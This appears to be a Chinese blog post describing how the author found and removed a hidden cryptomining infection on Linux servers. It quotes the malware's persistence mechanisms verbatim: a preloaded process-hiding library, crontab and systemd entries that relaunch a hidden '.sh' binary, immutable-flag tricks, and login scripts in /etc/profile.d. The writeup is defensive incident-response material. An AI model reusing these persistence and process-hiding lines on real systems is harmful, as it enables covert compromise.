linux隐藏病毒处理(top查询us占用70%左右,却没有CPU高使用的进程)

linux隐藏病毒处理(top查询us占用70%左右,却没有CPU高使用的进程)

突然有人反应说客户服务器使用有点卡,虽然是客户的服务器,里应当客户**自己处理的,可是项目还没完成,只有猥琐发育,自己搞定呗,客户是大哥啊。于是乎,立马使用常规操作,登陆服务器查看资源使用情况,发现服务器的CPU的us值在70%左右,然而并没有找到相关的CPU使用很高的进程,慌得一批,口吐芬芳。。。

问题分析:
1、首先排除应用程序问题,因为服务器的使用人数并不多,不可能有这么高的负载,而且如果是应用程序问题,肯定会显示出CPU高使用的应用进程

2、后排除CPU硬件故障,因为这个项目的几台服务器全都是这样的,而且这几台服务器全都是新上的几台服务器

3、怀疑内核版本问题,因为有人遇到过这种问题,果断拿一台做实验,升级内核版本,重启,然而并没有搞定

4、最后只有锁定病毒方面的问题,可是并没有显示高消耗的进程,应该是病毒将一些系统命令做了更改,无从着手的感觉,于是乎,百度。。。果然找到一个相同的问题:https://www.zhihu.com/question/59820313,终于可以确定最终的原因,病毒。。。

病毒处理常规步骤(之前一直这样处理的):
1、病毒进程查询

2、定时任务清理

3、自启动清理

4、服务清理

5、kill进程

病毒进程查询:
因为病毒是个隐藏的病毒,top没办法找到进程,通过参考https://www.zhihu.com/question/59820313这篇问答,找出病毒程序

首先查询是否有这个连接:netstat -anp

结果显示:tcp 0 0 x.x.x.x:33708 91.121.140.167:3333 ESTABLISHED -

连接IP是91.121.140.167,进程名为“-”,确认为病毒程序

查询文件:cat /etc/ld.so.preload

内容为:/usr/local/lib/libprocesshider.so

因此,需要删除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload

清理文件时遇到报错Operation not permitted,因为文件被赋予了“i”权限,lsattr可以查看文件权限,可是查看权限时,报错没有lsattr命令,系统本身自带了的,估计是病毒将命令改了,重新下载软件包(e2fsprogs)安装就是

查看文件权限:lsattr /usr/local/lib/libprocesshider.so   

chattr更改权限,任然报错没有chattr,心态爆炸。。。

后面查看定时任务时,发现用的lockr +i授权,借此配置权限,lockr -i /usr/local/lib/libprocesshider.so之后即可删除文件

清理文件后,top即可看到搞事情的病毒进程命“.sh”

病毒清理:
定时任务清理:

查询cron.d、cron.hourly、crontab目录或文件的异常

/etc/cron.d/phps文件异常,内容*/10 * * * * root /sbin/httpss,直接删除/etc/cron.d/phps、/sbin/httpss

lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https
/etc/crontab内容异常,清理异常任务

          • root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
          • root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1

服务清理及自启动清理:

/etc/rc.d/init.d/目录下异常文件删除:rm -rf selinux DbSecuritySpt

清理文件异常内容:/etc/rc.d/rc.local

/lib/systemd/system发现异常服务文件:vim pwnriglhttps.service

[Unit]
Description=.sh

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target
关闭pwnriglhttps.service服务:systemctl stop pwnriglhttps.service

                                                 systemctl disable pwnriglhttps.service

删除文件:rm -rf pwnriglhttps.service

top或者ps查询进程ID,kill进程,top查看资源使用恢复正常

最后删除病毒文件:

rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip
到此理应清理完毕,重启系统,发现资源使用正常,然而ssh远程登陆服务器后,病毒任然运行。。。

ssh登陆清理:

查询/etc/profile文件

发现目录/etc/profile.d/下出现异常文件:php.sh、supervisor.sh

查看内容:vim php.sh

!/bin/bash

cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null
vim supervisor.sh

!/bin/bash

supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1
/etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf

删除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf

lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
最后再次kill进程,删除.sh文件

find / -name .sh
rm /etc/.sh /usr/bin/.sh
重启服务器,测试ssh登陆服务器,资源使用正常,病毒处理完成

总结:
病毒处理大概思路:病毒进程名查看、定时任务查看、开启启动目录查看、服务目录查看、用户登陆配置文件查看等,一般都是修改这些文件来达到入侵目的,还有系统命令的修改

如今病毒隐藏愈来愈深,愈来愈搞事情,所以建议从预防开始,注重病毒预防,中毒难受,严重导致数据丢失,无解。。。

原文地址:https://www.cnblogs.com/pengpengboshi/p/15237365.html